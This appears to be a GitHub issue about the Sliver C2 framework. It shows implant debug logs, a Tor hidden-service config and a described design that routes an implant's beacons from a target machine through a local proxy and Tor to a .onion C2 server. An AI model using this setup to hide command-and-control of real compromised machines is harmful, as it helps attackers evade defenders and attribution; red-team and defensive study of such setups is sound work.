Beacon through SOCKS5 Proxy, C2 behind .onion? about sliver HOT 2 OPEN

sliver > jobs

 ID   Name   Protocol   Port   Stage Profile 
==== ====== ========== ====== ===============
 11   http   tcp        6969          

2024/05/22 20:35:30 session.go:172: Connecting -> http(s)://[hidden].onion:6969
2024/05/22 20:35:30 session.go:84: Next CC = https://[hidden].onion:6969?proxy=127.0.0.1:9050
2024/05/22 20:35:30 drivers_windows.go:36: Using go http driver
2024/05/22 20:35:30 transports.go:92: Yield c2 uri = 'https://[hidden].onion:6969?proxy=127.0.0.1:9050'
2024/05/22 20:35:30 gohttp.go:97: Force proxy "127.0.0.1:9050"
2024/05/22 20:35:30 httpclient.go:652: [http] segments = [], filename = rpc, ext = php
2024/05/22 20:35:30 crypto.go:217: TOTP Code (2024-05-22 18:35:30.2354917 +0000 UTC): [hidden]
2024/05/22 20:35:30 httpclient.go:339: [http] POST -> https://[hidden].onion:6969/rpc.html?b=[hidden]&sm=[hidden] (266 bytes)
2024/05/22 20:35:30 httpclient.go:345: [http] http response error: Post "https://[hidden].onion:6969/rpc.html?b=[hidden]&sm=[hidden]": dial tcp: lookup [hidden].onion: no such host
2024/05/22 20:35:30 drivers_windows.go:36: Using go http driver
2024/05/22 20:35:30 gohttp.go:97: Force proxy "127.0.0.1:9050"
2024/05/22 20:35:30 httpclient.go:652: [http] segments = [], filename = register, ext = php
2024/05/22 20:35:30 crypto.go:217: TOTP Code (2024-05-22 18:35:30.2394831 +0000 UTC): [hidden]
2024/05/22 20:35:30 httpclient.go:339: [http] POST -> http://[hidden].onion:6969/register.html?ch=[hidden]&u=[hidden] (266 bytes)
2024/05/22 20:35:30 httpclient.go:345: [http] http response error: Post "http://[hidden].onion:6969/register.html?ch=[hidden]&u=[hidden]": dial tcp: lookup [hidden].onion: no such host
2024/05/22 20:35:30 session.go:178: http(s) connection error Post "http://[hidden].onion:6969/register.html?ch=[hidden]&u=[hidden]": dial tcp: lookup [hidden].onion: no such host
2024/05/22 20:35:30 sliver.go:158: [session] failed to establish connection: Post "http://[hidden].onion:6969/register.html?ch=[hidden]&u=[hidden]": dial tcp: lookup [hidden].onion: no such host
2024/05/22 20:35:30 sliver.go:138: Reconnect sleep: 1m0s

GNU nano 6.2                          torrc                                   
# This is the configuration for Tor
SocksPort 9050 # 

# HiSer
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 6969 127.0.0.1:6969

Agent Communication:
    The Sliver agent is configured to communicate with 127.0.0.1:6666, thinking it is directly talking to the Sliver C2 server.

Proxy on the Target:
    A Python proxy script runs on the target machine and listens on 127.0.0.1:6666 for incoming connections from the Sliver agent.

Redirection Through Tor:
    The proxy script establishes a connection to the Sliver C2 server using the Tor network. This is done through a SOCKS5 proxy running on 127.0.0.1:9050 towards the hidden service (.onion address).

Data Forwarding:
    The script forwards all data from the Sliver agent to the Sliver C2 server through Tor and sends back responses to the agent, ensuring seamless bidirectional communication.

The Sliver C2 server listens on port 9999 for incoming connections.

Configure the hidden service to listen on port 9999 and forward traffic to port 9999 on the Sliver C2 server.
The .onion address of this hidden service is used by the proxy script to route traffic through Tor.

The proxy script runs on the target machine.
It listens on 127.0.0.1:6666 for connections from the Sliver agent.
When a connection is received, the proxy script uses PySocks to establish a connection to the hidden service address through the Tor network.
It then forwards all data from the Sliver agent to the Sliver C2 server through the Tor network and vice versa.